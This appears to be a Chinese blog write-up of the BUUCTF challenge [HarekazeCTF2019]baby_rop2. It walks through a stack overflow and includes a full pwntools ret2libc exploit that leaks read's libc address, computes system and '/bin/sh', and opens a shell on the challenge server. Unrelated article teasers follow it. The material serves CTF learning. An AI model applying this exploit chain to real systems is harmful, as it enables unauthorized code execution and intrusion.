news 2026/6/25 15:02:55

buuctf中的[HarekazeCTF2019]baby_rop2

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
buuctf中的[HarekazeCTF2019]baby_rop2

首先checksec检查保护机制:

-64位程序

-开启了栈不可执行保护

题目还附带了libc库文件,点击就能下载

接下来使用IDA反汇编分析一下:

buf到栈底的距离为0x20个字节,但是下面的read函数却读入了0x100个字节的数据,可以触发栈溢出漏洞,在IDA中发现程序没有后面函数,system或/bin/sh地址,再配合前面给的libc库,判断是要我们拿到某个函数的真实进而求出libc的基址再来计算出system和/bin/sh的地址

先拿到main函数地址,用于后面触发二次溢出:0x400636

再在Linux终端中输入一下指令:

拿到rdi地址:0x400733,用于调用函数,ret地址:0x4004d1,用于栈对齐

ROPgadget --binary pwn --only "pop|ret"

然后开始编写exp攻击脚本:

基本思路是通过两次栈溢出拿到shell,第一次栈溢出先泄露出read函数的真实地址,然后计算出libc基址,进而求出system函数地址和/bin/sh地址,然后第二次栈溢出注入system函数拿到shell,都是ROP链的构造

from pwn import * context(arch='amd64', os='linux', log_level='debug') #io = process('./pwn') # 在本地运行程序。 # gdb.attach(io) # 启动 GDB io = connect('node5.buuoj.cn',26311) # 与在线环境交互。 offset = 40 main_addr = 0x400637 ret_addr = 0x4004d1 rdi_addr = 0x400733 elf = ELF("./pwn") read_got = elf.got['read'] printf_plt = elf.plt['printf'] libc = ELF("./libc.so.6") io.recvuntil(b'What\'s your name? ') payload = b'a'*offset + p64(ret_addr) + p64(rdi_addr) + p64(read_got) + p64(printf_plt) + p64(main_addr) io.sendline(payload) io.recvline() read_addr = u64(io.recvuntil(b'W')[:-1].ljust(8,b'\x00')) print(hex(read_addr)) libc_base = read_addr - libc.sym['read'] system_addr = libc_base + libc.sym['system'] bin_sh_addr = libc_base + next(libc.search(b'/bin/sh')) io.recvuntil(b'name? ') payload = b'a'*offset + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) io.sendline(payload) io.interactive()

这是运行结果:

这里直接输入cat flag是拿不到flag,因为flag不在根目录下,跟着我下面的指令输入就可以拿到flag了

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/6/12 18:53:48

Java毕设选题推荐:基于spring boot的高校宿舍管理系统设计基于springboot的高校学生宿舍管理系统设计【附源码、mysql、文档、调试+代码讲解+全bao等】

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/3 20:18:31

数字人民币跨境支付试点启动,稳定币会被取代吗?

一、政策重磅:八部门联合发文,数字人民币出海迈出关键一步2025年12月24日,中国人民银行、国家发展改革委、财政部、交通运输部、商务部、金融监管总局、中国证监会、国家外汇局等八部门联合印发《关于金融支持加快西部陆海新通道建设的意见》…

作者头像 李华
网站建设 2026/6/14 5:30:53

MBA必看!9个降AI率工具推荐,高效避坑指南

MBA必看!9个降AI率工具推荐,高效避坑指南 AI降重工具:MBA论文的智能护航者 在当前学术写作中,随着AI技术的广泛应用,论文中的AIGC率问题逐渐成为MBA学生需要重点关注的难点。许多同学在使用AI生成内容时,往…

作者头像 李华
网站建设 2026/6/15 19:46:37

互联网医院系统|禾高互联网医院|互联网医院成品

随着医疗健康服务的数字化进程加速,互联网医院系统已演变为重构医疗资源配置、优化诊疗流程、重塑患者体验的战略性基础设施。其本质并非线下医疗的简单线上化,而是以患者为中心、以数据为驱动、以安全和合规为基石的新型医疗服务模式的综合载体。1、患者…

作者头像 李华
网站建设 2026/6/19 16:12:44

【计算机毕业设计案例】基于spring boot的高校宿舍管理系统设计基于spring boot + vue 的宿舍管理系统(程序+文档+讲解+定制)

博主介绍:✌️码农一枚 ,专注于大学生项目实战开发、讲解和毕业🚢文撰写修改等。全栈领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围:&am…

作者头像 李华
网站建设 2026/6/16 17:48:58

ClickHouse 监控与告警:确保大数据系统稳定运行

ClickHouse 监控与告警:确保大数据系统稳定运行 关键词:ClickHouse、监控指标、告警策略、大数据系统、稳定性、监控工具、性能优化 摘要:在大数据时代,ClickHouse作为高性能列式数据库,承担着海量数据实时分析的核心任…

作者头像 李华